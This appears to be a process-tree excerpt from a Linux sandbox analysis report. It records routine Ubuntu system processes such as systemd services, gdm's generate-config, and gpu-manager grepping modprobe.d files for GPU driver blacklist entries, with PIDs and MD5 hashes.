sh (PID: 5657, Parent: 5633, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5658, Parent: 5657)

grep (PID: 5658, Parent: 5657, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5661, Parent: 1)

generate-config (PID: 5661, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5662, Parent: 5661)

pkill (PID: 5662, Parent: 5661, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5663, Parent: 1)

systemd New Fork (PID: 5667, Parent: 1)

systemd-logind (PID: 5667, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5670, Parent: 1)

systemd-journald (PID: 5670, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5672, Parent: 1)

dbus-daemon (PID: 5672, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5695, Parent: 1)

rsyslogd (PID: 5695, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5696, Parent: 1)

whoopsie (PID: 5696, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5728, Parent: 1)

gpu-manager (PID: 5728, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5734, Parent: 5728)

sh (PID: 5734, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5735, Parent: 5734)

grep (PID: 5735, Parent: 5734, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5736, Parent: 5728)

sh (PID: 5736, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5738, Parent: 5736)

grep (PID: 5738, Parent: 5736, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5739, Parent: 5728)

sh (PID: 5739, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5740, Parent: 5739)

grep (PID: 5740, Parent: 5739, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5742, Parent: 5728)

sh (PID: 5742, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5743, Parent: 5742)

grep (PID: 5743, Parent: 5742, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5745, Parent: 5728)

sh (PID: 5745, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5746, Parent: 5745)

grep (PID: 5746, Parent: 5745, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5747, Parent: 5728)

sh (PID: 5747, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5748, Parent: 5747)

grep (PID: 5748, Parent: 5747, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5752, Parent: 5728)

sh (PID: 5752, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5753, Parent: 5752)

grep (PID: 5753, Parent: 5752, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5754, Parent: 5728)

sh (PID: 5754, Parent: 5728, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5755, Parent: 5754)

grep (PID: 5755, Parent: 5754, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5756, Parent: 1)

generate-config (PID: 5756, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5757, Parent: 5756)

pkill (PID: 5757, Parent: 5756, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5760, Parent: 1)

systemd-journald (PID: 5760, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5778, Parent: 1)

rsyslogd (PID: 5778, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5779, Parent: 1)

whoopsie (PID: 5779, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5783, Parent: 1)

systemd-journald (PID: 5783, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5787, Parent: 1)

systemd-logind (PID: 5787, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5848, Parent: 1)

dbus-daemon (PID: 5848, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5849, Parent: 1)

gpu-manager (PID: 5849, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5850, Parent: 5849)

sh (PID: 5850, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5851, Parent: 5850)

grep (PID: 5851, Parent: 5850, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5852, Parent: 5849)

sh (PID: 5852, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5853, Parent: 5852)

grep (PID: 5853, Parent: 5852, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5854, Parent: 5849)

sh (PID: 5854, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5855, Parent: 5854)

grep (PID: 5855, Parent: 5854, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5856, Parent: 5849)

sh (PID: 5856, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5859, Parent: 5856)

grep (PID: 5859, Parent: 5856, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5860, Parent: 5849)

sh (PID: 5860, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5861, Parent: 5860)

grep (PID: 5861, Parent: 5860, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5863, Parent: 5849)

sh (PID: 5863, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5864, Parent: 5863)

grep (PID: 5864, Parent: 5863, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5866, Parent: 5849)

sh (PID: 5866, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5867, Parent: 5866)

grep (PID: 5867, Parent: 5866, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5869, Parent: 5849)

sh (PID: 5869, Parent: 5849, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5870, Parent: 5869)

grep (PID: 5870, Parent: 5869, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5873, Parent: 1)

generate-config (PID: 5873, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5874, Parent: 5873)

pkill (PID: 5874, Parent: 5873, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5876, Parent: 1)

systemd-journald (PID: 5876, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5877, Parent: 1)

dbus-daemon (PID: 5877, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 5880, Parent: 1)

systemd-logind (PID: 5880, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5895, Parent: 1)

rsyslogd (PID: 5895, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5896, Parent: 1)

whoopsie (PID: 5896, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 5939, Parent: 1)

gpu-manager (PID: 5939, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 5945, Parent: 5939)

sh (PID: 5945, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5946, Parent: 5945)

grep (PID: 5946, Parent: 5945, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5948, Parent: 5939)

sh (PID: 5948, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5949, Parent: 5948)

grep (PID: 5949, Parent: 5948, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5950, Parent: 5939)

sh (PID: 5950, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5951, Parent: 5950)

grep (PID: 5951, Parent: 5950, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5953, Parent: 5939)

sh (PID: 5953, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5954, Parent: 5953)

grep (PID: 5954, Parent: 5953, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*radeon[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5956, Parent: 5939)

sh (PID: 5956, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5957, Parent: 5956)

grep (PID: 5957, Parent: 5956, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5958, Parent: 5939)

sh (PID: 5958, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*amdgpu[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5959, Parent: 5958)

grep (PID: 5959, Parent: 5958, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*amdgpu[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 5961, Parent: 5939)

sh (PID: 5961, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 5962, Parent: 5961)

grep (PID: 5962, Parent: 5961, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 5963, Parent: 5939)

sh (PID: 5963, Parent: 5939, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nouveau[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 5966, Parent: 5963)

grep (PID: 5966, Parent: 5963, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nouveau[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

systemd New Fork (PID: 5967, Parent: 1)

generate-config (PID: 5967, Parent: 1, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/share/gdm/generate-config

generate-config New Fork (PID: 5968, Parent: 5967)

pkill (PID: 5968, Parent: 5967, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill --signal HUP --uid gdm dconf-service

systemd New Fork (PID: 5971, Parent: 1)

systemd-journald (PID: 5971, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 5974, Parent: 1)

systemd-logind (PID: 5974, Parent: 1, MD5: 8dd58a1b4c12f7a1d5fe3ce18b2aaeef) Arguments: /lib/systemd/systemd-logind

systemd New Fork (PID: 5995, Parent: 1)

rsyslogd (PID: 5995, Parent: 1, MD5: 0b8087fc907c42eb3c81a691db258e33) Arguments: /usr/sbin/rsyslogd -n -iNONE

systemd New Fork (PID: 5997, Parent: 1)

whoopsie (PID: 5997, Parent: 1, MD5: d3a6915d0e7398fb4c89a037c13959c8) Arguments: /usr/bin/whoopsie -f

systemd New Fork (PID: 6017, Parent: 1)

systemd-journald (PID: 6017, Parent: 1, MD5: 474667ece6cecb5e04c6eb897a1d0d9e) Arguments: /lib/systemd/systemd-journald

systemd New Fork (PID: 6037, Parent: 1)

dbus-daemon (PID: 6037, Parent: 1, MD5: 3089d47e3f3ab84cd81c48fd406d7a8c) Arguments: /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only

systemd New Fork (PID: 6038, Parent: 1)

gpu-manager (PID: 6038, Parent: 1, MD5: 8fae9dd5dd67e1f33d873089c2fd8761) Arguments: /usr/bin/gpu-manager --log /var/log/gpu-manager.log

gpu-manager New Fork (PID: 6040, Parent: 6038)

sh (PID: 6040, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6041, Parent: 6040)

grep (PID: 6041, Parent: 6040, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /etc/modprobe.d/alsa-base.conf /etc/modprobe.d/amd64-microcode-blacklist.conf /etc/modprobe.d/blacklist-ath_pci.conf /etc/modprobe.d/blacklist-firewire.conf /etc/modprobe.d/blacklist-framebuffer.conf /etc/modprobe.d/blacklist-modem.conf /etc/modprobe.d/blacklist-oss.conf /etc/modprobe.d/blacklist-rare-network.conf /etc/modprobe.d/blacklist.conf /etc/modprobe.d/intel-microcode-blacklist.conf /etc/modprobe.d/iwlwifi.conf /etc/modprobe.d/mdadm.conf

gpu-manager New Fork (PID: 6042, Parent: 6038)

sh (PID: 6042, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*nvidia[[:space:]]*$\" /lib/modprobe.d/*.conf"

sh New Fork (PID: 6043, Parent: 6042)

grep (PID: 6043, Parent: 6042, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -G ^blacklist.*nvidia[[:space:]]*$ /lib/modprobe.d/aliases.conf /lib/modprobe.d/blacklist_linux_5.4.0-72-generic.conf /lib/modprobe.d/blacklist_linux_5.4.0-81-generic.conf /lib/modprobe.d/fbdev-blacklist.conf /lib/modprobe.d/systemd.conf

gpu-manager New Fork (PID: 6044, Parent: 6038)

sh (PID: 6044, Parent: 6038, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "grep -G \"^blacklist.*radeon[[:space:]]*$\" /etc/modprobe.d/*.conf"

sh New Fork (PID: 6045, Parent: 6044)

